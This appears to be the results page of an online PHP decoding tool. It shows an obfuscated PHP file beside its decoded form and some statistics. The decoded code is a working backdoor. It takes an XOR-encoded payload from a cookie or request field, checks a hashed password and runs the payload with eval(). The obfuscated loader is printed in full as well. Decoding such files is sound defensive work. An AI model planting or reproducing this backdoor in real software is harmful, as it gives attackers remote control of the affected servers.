Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $TjwOWlcwvSm='T0X.XPj+ ZUAICE'^'7B=O,55MU465 ,+';$vgqeoFDUBCR=$TjwOWlcwvSm('','U4Kx-..

Decoded Output download

if(!function_exists('xor_data__mut')) {
	function xor_data__mut($data, $key)     {
		$out = '';
		for($i = 0; $i<strlen($data); $i++)
		$out .= ($data[$i] ^ $key[$i % strlen($key)]);
		return($out);
	}
}

$data = false;
$data_key = false;

foreach ($_COOKIE as $key => $value) {
	$data_key = $key;
	$data = $value;
}

if (!$data) {
	foreach ($_REQUEST as $key => $value) {
		$data_key = $key;
		$data = $value;
	}
}

$data = @unserialize(xor_data__mut(base64_decode($data), $data_key));
if($data && array_key_exists('key', $data) && (md5($data['key']) == 'e64d93ac3802b525cfeca59bf1a61a7a') && array_key_exists('payload', $data))      {
	eval($data['payload']);
	exit(0);
}

Did this file decode correctly?

Original Code

<?php $TjwOWlcwvSm='T0X.XPj+ ZUAICE'^'7B=O,55MU465 ,+';$vgqeoFDUBCR=$TjwOWlcwvSm('','U4Kx-7NYI=Q+4E;>0F8bDXD:1T2F-+6W6YqEjfILl.C4N1= 4u473fSYI7;.:GZREX7N6ItG,.8ZbcHre4dykERK<POobhJP>80D1xrXbYGDILVIrO.OQ7UAR,P,MskDUYLRF1>DAXCBEZISjKVXB2mu;.FosRZV;ae=DOES:D>,RnBQ<EZ4Dzy<yY<L9B9JORYFoUHCSh.ypNT ;OxLr+9PGEzhn7 <.hRSHbtoM,WO4mNS483RU.1DzN6nurwdiF-AtaF28aOUZQJRP00pzVKfb, :JrQ2,TlCu>S.nNsrVP<MWulN17 LHOkOfbGMOBIe ,7 kNPO54 7N69XsKt>o753=f-b7Hrc RGQpvnO4+5MVMy:ZOAh=22.=R6AlrfB>=UXoyCw.05AZZvj<VR>VrbaLE+lSL.OJVEnF3BV8H:;X:XW7a.;F6VTTRfn,UYDIX7PnBd7H1WO3Bc338SOENvW.LT2PSEBoXf>-iPR034IpAfRKC2;+YWGnYL<JMXkaFIJBfCP2RG9kQcrolVDAgI0J<,cI,7LvjBJQObPEyR5Qz94Rzca2vfXS>354zo8>AVav,pAVJpPBLT9 Z39PP5,+->C10xsCY7W;O,WfAf>MMSKogZVLdkPPlNK,8DF.-179fDV4.73<jhppDjE0+>jiZa7>'^'<RcYKB :=T>Ek CWC2KJc +Hn0S2Lti:C-VlCF2FeH6Z-ETOZULXA978=VdqW2.za<V:WeTcGKAsBChREOnpba=>HprOEOqZ71V+CPV1Bdgtrlr N<Z==R;ivH1X,ZPdq0gyo;7Me766ettsBo296S6QRsf1Sv13B:ATdje N6RI<Ff:Y<simAs5p+Y8L0Wbk=,2FnBJ.bSszj0AO.XqRMX<4 AbJSAHO7961BIO+M;<QVDYRWA74MYdRji-:=<-,fL2TE-WAArkzu<3<EUYZ-AoFHAN+-:WUtQcQU6WUDzV21H,wHLjGVL9-ta2lh.+ojhADMCABn+E<ROE+WZ0ScPa=rdfx5yBV;RGK7>qMHNkBJY83dYAPFHLYSFOb9S8LOFfUX,cepJSJQA zgVNJ7>K3Ihh1OVfYhJ.>7eSfs78K-HR9V1-RIVT4i25 391A -l+9D5Xv;S-R8+VjGWRL2finR3O85m;6<kFclWKAt6QGUiVgF391SBt22>1<4U99+CF-,3eJctV33XBqETOD; tOmT+HM8nGR5Q7kjlrBw OfQhIXWaBSSPCTm0XVVUOVZXp7WGMG qcPvdl5KR;Jf;5LsNUW0ECPT38N;T.HpJaBZ,92bFGzvlDK+Ze+=MTlbJLEVbA47MBXRXM5YKNc HBJBYsZ=C');$vgqeoFDUBCR();

Function Calls

null 1
create_function 1

Variables

$TjwOWlcwvSm create_function
$vgqeoFDUBCR None

Stats

MD5 bfb604a7fde62879f1972e231f776e5f
Eval Count 1
Decode Time 93 ms